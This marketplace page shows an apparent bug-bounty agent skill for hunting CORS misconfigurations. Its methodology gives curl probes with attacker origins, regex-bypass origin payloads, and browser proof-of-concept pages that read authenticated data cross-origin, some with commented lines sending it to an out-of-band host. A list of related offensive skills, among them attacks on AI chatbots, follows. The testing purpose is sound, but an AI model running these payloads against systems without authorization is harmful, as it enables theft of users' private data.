Mmcp.market

hunt-cors skill

by elementalsouls·elementalsouls/Claude-BugHunter·4.7k stars·MIT

Hunt CORS Misconfiguration — origin-reflection with credentials, null-origin trust, subdomain-regex bypass (unanchored vs unescaped-dot vs prefix-only), pre-flight (OPTIONS) gating bypass, postMessage origin checks. High only when an attacker-controlled origin can perform a CREDENTIALED cross-origin read of sensitive data and you have proven it in a browser. Use when testing API endpoints, SPAs, or any app emitting Access-Control-* headers.

A100/100content scan

Is the hunt-cors skill safe?

Clean: nothing in its files matched our rules. We read 1 file in the folder on 2026-09-28.

No findings.

Install the hunt-cors skill

A skill is a folder. Copy it into your agent's skills folder and the agent loads it when the task matches its description. 

git clone --depth 1 https://github.com/elementalsouls/Claude-BugHunter.git /tmp/Claude-BugHunter
mkdir -p ~/.claude/skills
cp -r /tmp/Claude-BugHunter/skills/hunt-cors ~/.claude/skills/hunt-cors
available in every project

In the Claude apps, zip the folder and upload it from the Skills settings. The folder on GitHub

The instructions your agent would load

SKILL.md as published, without the frontmatter. Read it on GitHub

HUNT-CORS — Cross-Origin Resource Sharing Misconfiguration

What actually pays (and what does not)

CORS pays High only when an attacker-controlled origin can perform a credentialed cross-origin read of sensitive authenticated data, and you have a browser PoC proving the response body is readable from evil.com.

Two hard browser rules that kill most "findings" — check these FIRST:

If the server returns ACAO: , the browser refuses to send/expose the response for a credentials: include request. A wildcard-only endpoint is not credential-exploitable. It is only interesting if the data it serves is sensitive without* a session (rare) — usually this is Informational/Low.

  • Access-Control-Allow-Origin: CANNOT be combined with credentials.**

matters only if ACAO reflects/allows your specific attacker origin AND a cross-origin credentialed fetch actually returns a readable body. ACAC on a response that does not reflect your origin proves nothing.

  • Access-Control-Allow-Credentials: true is meaningless on its own. It

If you cannot demonstrate a readable cross-origin authed body in a real browser, you do not have a High. Do not submit header-diffing alone.

Crown Jewel Targets

sets ACAC: true → any site reads authed API responses. The classic High.

  • Reflect-any-origin + credentials — server echoes the Origin header AND

data:/redirect chain) emits Origin: null, so any page can read authed data.

  • Null-origin trust — ACAO: null + ACAC: true. A sandbox iframe (or a

correct payload depends on which flaw (see Phase 3 — this is where most skills get it wrong).

  • Subdomain-regex bypass — trusted-origin regex with a parsing flaw. The

policy trusts; take it over, host the PoC there (see hunt-subdomain).

  • Subdomain takeover → trusted origin — a dangling subdomain that the CORS

event.data without strictly validating event.origin.

  • postMessage missing/loose origin check — handler that processes

Attack Surface Signals

Any endpoint returning an Access-Control-Allow-Origin header
API endpoints:   /api/*, /v1/*, /graphql
Profile/account: /api/me, /api/profile, /api/user, /api/session
Secrets/tokens:  /api/tokens, /api/keys, /api/csrf, /api/account/settings
Financial:       /api/balance, /api/transactions
Admin/internal:  /api/admin/*, /api/internal/*

Prioritize endpoints that (a) require a session cookie and (b) return PII, tokens, CSRF tokens, or other secrets in the body.

Step-by-Step Hunting Methodology

Phase 1 — Discover CORS endpoints

# Probe API endpoints. Use GET (not -I): some servers only emit CORS on GET,
# and -I sends HEAD which may be handled differently.
while read url; do
  result=$(curl -s -D - -o /dev/null "$url" \
    -H "Origin: https://evil.com" \
    -H "Cookie: $SESSION_COOKIE" | grep -i "access-control")
  [ -n "$result" ] && echo "=== $url ===" && echo "$result"
done < recon/$TARGET/api-endpoints.txt

# httpx bulk check
cat recon/$TARGET/live-hosts.txt | awk '{print $1}' | \
  httpx -H "Origin: https://evil.com" -match-string "access-control-allow-origin"

Phase 2 — Reflect-any-origin + null origin

# Does the server reflect an arbitrary Origin back?
curl -s -D - -o /dev/null https://$TARGET/api/me \
  -H "Origin: https://evil.com" \
  -H "Cookie: $SESSION_COOKIE" | grep -i "access-control"

# Vulnerable (the High case):
#   Access-Control-Allow-Origin: https://evil.com   <- reflects attacker origin
#   Access-Control-Allow-Credentials: true          <- + credentials => readable
#
# NOT exploitable for credentialed theft:
#   Access-Control-Allow-Origin: *                   <- browser blocks creds read
#   (no ACAC, or ACAC absent)                        <- not credentialed

# Null-origin trust
curl -s -D - -o /dev/null https://$TARGET/api/me \
  -H "Origin: null" \
  -H "Cookie: $SESSION_COOKIE" | grep -i "access-control"
# Looking for:  Access-Control-Allow-Origin: null  +  ACAC: true

Phase 3 — Subdomain / trusted-origin regex bypass

The right payload depends on which regex flaw the server has. Identify the class first, then send the matching payload. Getting this wrong wastes the test and produces false negatives.

# Send each class-specific payload and watch what the server reflects.
for ORIGIN in \
  "https://evil.target.com" \
  "https://eviltarget.com" \
  "https://x.target.com.evil.com" \
  "https://target.com.evil.com" \
  "https://target.com%60.evil.com" \
  "http://target.com"; do
  RESULT=$(curl -s -D - -o /dev/null "https://$TARGET/api/me" \
    -H "Origin: $ORIGIN" \
    -H "Cookie: $SESSION_COOKIE" | grep -i "access-control")
  echo "[$ORIGIN] -> ${RESULT:-no CORS}"
done

A bypass is real only if the server reflects your registerable origin into ACAO with ACAC: true. evil.target.com reflecting back is NOT a bug unless you can actually control a *.target.com host (then see Phase 6 / hunt-subdomain).

Phase 3b — Trusted insecure (HTTP) origin

If ACAO reflects/allows any http:// origin (even a correctly-anchored in-scope one) with ACAC:true, a network attacker on that cleartext host injects a page that reads the authed cross-origin body — no regex flaw needed, the plaintext scheme IS the flaw.

curl -s -D- -o/dev/null "https://$TARGET/api/me" -H "Origin: http://sub.$TARGET" -H "Cookie: $SESSION" | grep -i access-control

Real only if a MITM can occupy that http origin (no HSTS-preload). Pair with hunt-tls-network. (PortSwigger: CORS with trusted insecure protocols.)

Phase 4 — Pre-flight (OPTIONS) gating bypass

Non-simple requests (custom headers, PUT/DELETE/PATCH, non-simple Content-Type) trigger a CORS pre-flight OPTIONS. The browser only sends the real request if the pre-flight response authorizes the method/header. Two things to test:

If Access-Control-Allow-Methods / Access-Control-Allow-Headers reflect whatever you ask for, a malicious origin can drive state-changing requests (chain to CSRF-style writes that JSON/SameSite would otherwise block).

  1. Does the pre-flight authorize arbitrary methods/headers for your origin?
curl -s -D - -o /dev/null -X OPTIONS "https://$TARGET/api/account/email" \
  -H "Origin: https://evil.com" \
  -H "Access-Control-Request-Method: PUT" \
  -H "Access-Control-Request-Headers: x-custom-auth, content-type" \
  | grep -i "access-control"
# Vulnerable: ACAO reflects evil.com + ACAC:true +
#   Access-Control-Allow-Methods: PUT  +  Access-Control-Allow-Headers: x-custom-auth
# => attacker origin can issue authed PUT/DELETE with custom headers.

origin on OPTIONS but the actual GET/POST also reflects — the read path is the bug; the pre-flight just confirms write-path reach. Test the GET/POST directly too — never assume the pre-flight result equals the real-request result. Confirm in a browser, because curl ignores CORS entirely.

  1. Is the pre-flight even enforced server-side? Some servers reflect the

Phase 5 — Browser PoCs (the only thing that proves impact)

curl does NOT enforce CORS — it will happily show you a reflected header even when a browser would block the read. Every CORS High needs a browser PoC.

5a. Reflect-any-origin read (host on evil.com, open while logged into target):

<!doctype html><body><pre id="out"></pre>
<script>
fetch("https://TARGET/api/me", {credentials: "include"})
  .then(r => r.text())
  .then(d => {
    document.getElementById("out").innerText = d;        // prove readable body
    // OOB proof: fetch("https://OOB-ID.oastify.com/?d="+encodeURIComponent(d));
  })
  .catch(e => document.getElementById("out").innerText = "BLOCKED: " + e);
</script></body>

If you see BLOCKED / a TypeError, the browser refused the read — it is NOT a valid finding regardless of what curl showed (this is the ACAO: * + creds case).

5b. Null-origin read — a sandbox iframe sends Origin: null. The inner document must lack allow-same-origin so its origin is opaque (null):

<!doctype html><body>
<!-- Outer page hosted anywhere -->
<iframe sandbox="allow-scripts" srcdoc='
  <script>
    fetch("https://TARGET/api/me", {credentials: "include"})
      .then(r => r.text())
      .then(d => parent.postMessage(d, "*"));
  &lt;/script&gt;'></iframe>
<script>
window.addEventListener("message", e => {
  // d is the authed body, read cross-origin via a null Origin
  // fetch("https://OOB-ID.oastify.com/?d="+encodeURIComponent(e.data));
  console.log("NULL-ORIGIN READ:", e.data);
});
</script></body>

(Alternative null-origin emitters: a data: / blob: document, or bouncing the request through a 302 redirect chain whose final hop is cross-scheme.)

5c. Trusted-subdomain read — once you control a host that the regex trusts (real subdomain via takeover, or a registerable origin that matches a buggy regex from Phase 3), host 5a there. The reflected origin is now an origin you legitimately serve, so the browser allows the read.

Phase 6 — postMessage origin check

# Find message handlers that don't strictly validate event.origin.
grep -rEn "addEventListener\(['\"]message" recon/$TARGET/ --include="*.js" \
  | grep -v "\.origin"
# Then audit each hit: does it check event.origin against an allowlist
# BEFORE using event.data? Weak checks to flag:
#   .indexOf("target.com") > -1      <- "target.com.evil.com" passes
#   .endsWith("target.com")          <- "eviltarget.com" passes
#   startsWith("https://target")     <- "https://target.evil.com" passes
#   no check at all

postMessage is a separate class from HTTP CORS — impact is DOM-side (XSS, client-side auth bypass). See hunt-dom for exploitation depth.

Automation (triage only — never the proof)

# corsy — fast reflection/null/pre-domain checks
pip3 install corsy
corsy -u https://$TARGET -t 10 --headers "Cookie: $SESSION_COOKIE"

# nuclei CORS templates
nuclei -u https://$TARGET -t http/misconfiguration/cors/

# Burp: passively flags origin reflection; always re-confirm in a real browser.

Every automated hit is a lead, not a finding. Reproduce 5a/5b in a browser.

Chain Table

Validation discipline (read before submitting)

More skills from elementalsouls/Claude-BugHunter

  • Aapk-redteam-pipelineEnd-to-end Android APK red-team pipeline — automated APK acquisition (Play Store + apkpure + apkmirror fallback), jadx decompilation, secret/URL/JWT/Firebase grep, pinned-cert extraction, exported-component enumeration, Frida runtime instrumentation templates, intent-injection probes. Built from an authorized external red-team engagement where 7 APKs were pulled manually, 4 download attempts truncated, and a hardcoded JWT + 30 internal API endpoints were recovered from one of the apps. Use when target has a mobile app catalogue (Play Store developer page), when you find an APK URL hosted on a web server, or when post-recon mentions "mobile app" in scope.
  • Fbb-local-toolkitLocal-tooling companion to the bug-bounty orchestrator — carries the SAME complete bug-bounty workflow, but reach for THIS variant when you also need to resolve where tools, wordlists, and clones are installed on the local machine (jhaddix, SecLists, trufflehog, ffuf, dalfox, ghauri); for pure orchestration/routing use the bug-bounty skill. Workflow it covers — recon (subdomain enumeration, asset discovery, fingerprinting, HackerOne scope, source code audit), pre-hunt learning (disclosed reports, tech stack research, mind maps, threat modeling), vulnerability hunting (IDOR, SSRF, XSS, auth bypass, CSRF, race conditions, SQLi, XXE, file upload, business logic, GraphQL, HTTP smuggling, cache poisoning, OAuth, timing side-channels, OIDC, SSTI, subdomain takeover, cloud misconfig, ATO chains, agentic AI), LLM/AI security testing (chatbot IDOR, prompt injection, indirect injection, ASCII smuggling, exfil channels, RCE via code tools, system prompt extraction, ASI01-ASI10), A-to-B bug chaining (IDOR→auth bypass, SSRF→cloud metadata, XSS→ATO, open redirect→OAuth theft, S3→bundle→secret→OAuth), bypass tables (SSRF IP bypass, open redirect bypass, file upload bypass), language-specific grep (JS prototype pollution, Python pickle, PHP type juggling, Go template.HTML, Ruby YAML.load, Rust unwrap), and reporting (7-Question Gate, 4 validation gates, human-tone writing, templates by vuln class, CVSS 3.1, PoC generation, always-rejected list, conditional chain table, submission checklist). Use when you need the local install path of a tool / wordlist / clone for a hunt, or as the full-workflow variant when operating from this local toolkit; for general routing use the bug-bounty skill. 中文触发词：漏洞赏金、安全测试、渗透测试、漏洞挖掘、信息收集、子域名枚举、XSS测试、SQL注入、SSRF、安全审计、漏洞报告
  • Abb-methodologyUse at the START of any bug bounty hunting session, when switching targets, or when feeling lost about what to do next. Master orchestrator that combines the 5-phase non-linear hunting workflow with the critical thinking framework (developer psychology, anomaly detection, What-If experiments). Routes to all other skills based on current hunting phase. Also use when asking "what should I do next" or "where am I in the process."
  • Fbug-bountyComplete bug bounty workflow — recon (subdomain enumeration, asset discovery, fingerprinting, HackerOne scope, source code audit), pre-hunt learning (disclosed reports, tech stack research, mind maps, threat modeling), vulnerability hunting (IDOR, SSRF, XSS, auth bypass, CSRF, race conditions, SQLi, XXE, file upload, business logic, GraphQL, HTTP smuggling, cache poisoning, OAuth, timing side-channels, OIDC, SSTI, subdomain takeover, cloud misconfig, ATO chains, agentic AI), LLM/AI security testing (chatbot IDOR, prompt injection, indirect injection, ASCII smuggling, exfil channels, RCE via code tools, system prompt extraction, ASI01-ASI10), A-to-B bug chaining (IDOR→auth bypass, SSRF→cloud metadata, XSS→ATO, open redirect→OAuth theft, S3→bundle→secret→OAuth), bypass tables (SSRF IP bypass, open redirect bypass, file upload bypass), language-specific grep (JS prototype pollution, Python pickle, PHP type juggling, Go template.HTML, Ruby YAML.load, Rust unwrap), and reporting (7-Question Gate, 4 validation gates, human-tone writing, templates by vuln class, CVSS 3.1, PoC generation, always-rejected list, conditional chain table, submission checklist). Use for ANY bug bounty task — starting a new target, doing recon, hunting specific vulns, auditing source code, testing AI features, validating findings, or writing reports. 中文触发词：漏洞赏金、安全测试、渗透测试、漏洞挖掘、信息收集、子域名枚举、XSS测试、SQL注入、SSRF、安全审计、漏洞报告
  • Abugcrowd-reportingBugcrowd-specific reporting tactics complementing report-writing: VRT category search-and-fallback strategy when no exact match exists, manual severity override when VRT defaults underrate impact, severity-request paragraph as first body section, OOS-clause rebuttal templates (rate limiting on auth-flow endpoints, debug-info framing, user-enumeration with sensitive PII, theoretical-issue counter), chained-finding cross-reference patterns, target selection for QA-vs-prod programs, researcher-side hygiene (Bugcrowdninja email alias, account state restoration, friendly-tester posture). Use when filing a Bugcrowd submission, when VRT default seems wrong, when triager closes as OOS or downgrades severity, when chaining linked submissions, or when scope distinguishes production from QA. Pairs with report-writing and triage-validation.
  • Acloud-iam-deepCloud IAM red-team attack chain across AWS, Azure, GCP — focused on EXTERNAL exploitation paths and post-credential-discovery privilege analysis. Covers IAM enumeration (aws iam, az role, gcloud iam), STS/AssumeRole chaining, Azure Managed Identity abuse (via SSRF/leak), GCP service account JSON abuse, IMDSv1/v2 attacks via SSRF, K8s ServiceAccount token privilege analysis once held (token discovery / cluster exposure is owned by hunt-k8s), role-trust-policy confused-deputy, cross-account assume-role enumeration, IAM privilege escalation patterns (24+ AWS, 8+ Azure, 6+ GCP), and AWS Cognito Identity Pool unauthenticated-role attack chain (GetId → GetCredentialsForIdentity → IAM role abuse). Built for the case where recon yields a credential (key, JSON, token) and you need to know what it grants and how to escalate. Use when an AWS key / Azure secret / GCP service account JSON / K8s SA token surfaces from a code repo, JS bundle, APK, breach corpus, or SSRF chain.
  • Centerprise-vpn-attackExternal SSL VPN / remote-access appliance attack matrix — Cisco ASA/AnyConnect, Fortinet FortiGate/FortiOS, Citrix NetScaler/ADC, Palo Alto GlobalProtect, Pulse Secure / Ivanti Connect Secure, SonicWall, F5 Big-IP. Covers version fingerprinting, CVE matrix (2018-2026), AAA backend identification, default credentials, configuration-disclosure paths, pre-auth RCE/SSRF/path-traversal exploits where applicable. Built from authorized-engagement Cisco ASA testing plus 2024-2026 enterprise VPN CVE landscape. Use whenever the target's perimeter exposes any SSL VPN appliance or remote-access gateway — these are the most common initial-access points in 2024-2026 actor TTPs.
  • Aevidence-hygieneEvidence-capture and PoC-redaction discipline for bug-bounty submissions: cookie redaction protocol (which fields to mask, Preview annotation / Burp panel hiding / DevTools workflow), PII black-bar discipline (what to mask in other-user data — names, emails, phones, faces — vs what is safe to leave — usernames, trace IDs, request bodies), HAR file sanitization (jq filters for Cookie/Set-Cookie/Authorization headers), Burp Repeater/Intruder screenshot hygiene (hide request body, show only Results table for rate-limit attacks), Chrome DevTools Console PoC patterns (credentials include so cookies are not echoed, labeled console.log), screenshot capture order, filename conventions, post-submission rotation hygiene. Use BEFORE any PoC screenshot, BEFORE attaching a HAR, or whenever preparing evidence with session cookies or other-user PII. Pairs with bugcrowd-reporting and report-writing.
  • Ahunt-api-misconfigHunt API security misconfiguration — mass assignment, prototype pollution, HTTP verb tampering. Mass assignment: send {is_admin:true, role:admin, verified:true} on profile/account/reset endpoints — server blindly applies. JWT signature/crypto forging (alg:none, key confusion, kid/jku) is owned by hunt-jwt-crypto; this skill covers only non-crypto JWT handling. Prototype pollution: __proto__ injection in JSON merge / Object.assign / lodash _.merge → polluted prototype reaches sink (RCE in Node, XSS in browser). HTTP verb: GET-bypass-CSRF, X-HTTP-Method-Override, TRACE enabled. Detection: API responses with extra fields, JWTs in headers (decode at jwt.io). CORS misconfiguration (reflect-any-origin, null origin, subdomain-regex bypass, postMessage) is owned by hunt-cors. Use when hunting API misconfigs, mass-assignment, prototype pollution (JWT crypto → hunt-jwt-crypto).
  • Ahunt-aspnetHunt ASP.NET-specific surface — ViewState deserialization (signed-only vs encrypted), machineKey recovery, dual-parser MAC-bypass anti-pattern, request-validator bypass, trace.axd/elmah.axd disclosure, load-balanced ViewState cross-node failures, SafeControl enumeration via reflection, customErrors mode=Off stack-trace leaks, classic Webforms .aspx/.asmx/.svc surface. Built for ASP.NET Webforms + WCF + SharePoint farms.
  • Ahunt-atoHunt account takeover taxonomy — 9 distinct paths to ATO, plus chains. Paths: (1) password reset flaws (host-header injection redirects token, predictable/numeric token, Referer leak, no-expiry/reuse), (2) email change without re-auth, (3) OAuth account-link CSRF, (4) MFA bypass (per hunt-mfa-bypass), (5) session fixation, (6) JWT manipulation (forge token to another identity; crypto details → hunt-jwt-crypto), (7) password change without step-up (chain with login timing/length oracle), (8) social-recovery / security-question brute-force, (9) SSO subdomain takeover at OAuth redirect_uri. Chains: cookie theft + password oracle + no step-up = persistent ATO; lax redirect_uri = auth-code theft; dangling-CNAME takeover at redirect_uri = ATO. Validate: demonstrate real takeover of test account B from attacker A's session; OOB/Collaborator confirm blind token-leak steps. Use when hunting ATO chains, testing password reset / email change / MFA / OAuth / session / JWT, or chaining primitives toward Critical.
  • Ahunt-auth-bypassHunting skill for auth bypass vulnerabilities. Built from 12 public bug bounty reports across SAML XSW / parser-differential (GitHub Enterprise CVE-2025-25291/25292), SAML signature stripping (Uber, Rocket.Chat, samlify CVE-2025-47949), SAML domain enforcement bypass via control characters (HackerOne 2024), partner-portal cross-IdP assertion reuse (Slack), WordPress XMLRPC bypassing SSO (Uber), JWT alg-confusion HS256/RS256 (Jitsi), JWT signature-validation skip (Linktree, Newspack), and token-audience confusion (Argo CD CVE-2023-22482). For standalone JWT signature/crypto forging (alg:none, key confusion, kid/jku) see hunt-jwt-crypto; this skill covers JWT only inside SSO/SAML/token-trust bypass chains. SAML assertion-layer attacks (XSW, comment injection, signature stripping, XXE-in-assertion) are owned by hunt-saml; this skill owns the broader cross-protocol auth-bypass taxonomy. Use when hunting auth bypass — see the Legacy-Protocol Matrix for branded-UI vs legacy-endpoint patterns.

All agent skills → · MCP servers